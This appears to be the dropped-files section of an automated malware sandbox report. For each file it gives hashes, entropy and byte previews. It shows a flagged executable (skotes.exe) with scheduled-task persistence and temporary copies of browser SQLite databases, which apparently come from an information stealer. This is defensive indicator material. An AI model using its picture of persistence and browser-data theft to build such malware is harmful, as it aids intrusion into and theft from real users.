SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b30zi04u.0jo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gacafgmu.db1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j30aawwp.tkk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxpucsfb.p4t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nkbgtmyc.lqk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p0ndwge5.jiv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pj1bsz0b.mli.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t211jbmi.dsg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tq04ku4o.0pp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcw11cil.xfe.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wopllder.21g.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5vrnpgj.lra.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zrfmq4s4.1rc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\UWYXurYZ2x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.9488441141783595
Encrypted:	false
SSDEEP:	49152:3UD21gzSJUaD6nFX4q0KPulTJW1gERg6tIev8bYe:3UaUSJUabpKP4kIe1
MD5:	C873C0AF86D36318F23BF63377181CDD
SHA1:	1277D3F0A9CEB8260FBE396F2A7369381BFB7406
SHA-256:	203A5B531B8803628B6AA37E8A7E08A0C83E3F10BBA6155E2529CC0BC97548F7
SHA-512:	ABCFD087C56DAF93AE7DA1AC7D13AFF04BE70EAB6C2B256FCA1B4FA3884771B8DA8A1FE4AF9A754C5DE97F6BB68B1213BA1E1F282E439A1C314B52B46F82ADD5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pK...........@...........................K.....Kd....@.................................W...k...........................\NK..............................NK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...uxuphkme.....P1.....................@...uphougfc.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\UWYXurYZ2x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\places.raw

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB5CD.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB5ED.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB5FE.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB62E.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB63E.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB70A.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB71B.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB864.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB884.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB8A5.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB8B5.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	modified
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.5378667938941173
Encrypted:	false
SSDEEP:	6:WSchPRjyrZX2JUEZ+lX1lOJUPelkDdtcVAkXIEZ8MlW8+y0lezt0:+hNyrl2JQ1lOmeeDhkXd8kX+Vezt0
MD5:	F8F90A9DB93A30A6BCC403A5BA769F82
SHA1:	62A903C9620701D5C590CF60735A1FB9B9A28A45
SHA-256:	764DAE7E35BEEA821CD54AFB483FF8F1192557B70CEC003DED623D205CCAF371
SHA-512:	304F5409C3016EAE139C4B6F9F60808326B6A77F4FB9744D3929A887AB4373E4E915E29377371256D967C8516CF75D2D634FF4E92E2D204C28BD8A483D282860
Malicious:	false
Preview:	....$.w.Q..I...c`..*F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................).@3P.........................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\UWYXurYZ2x.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4864166284806912
Encrypted:	false
SSDEEP:	6:EhQDtDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lQzt0:ESlvJQ1CGAFMkXd8kX+VQt0
MD5:	3DFB53EC65C2C73457FDD0447B942117
SHA1:	4FD5520EBB155B0F874F406EE544792CEDE90651
SHA-256:	E3F22303A42207779A041C32E3125651E960123D53096086F68756ADF73E7728
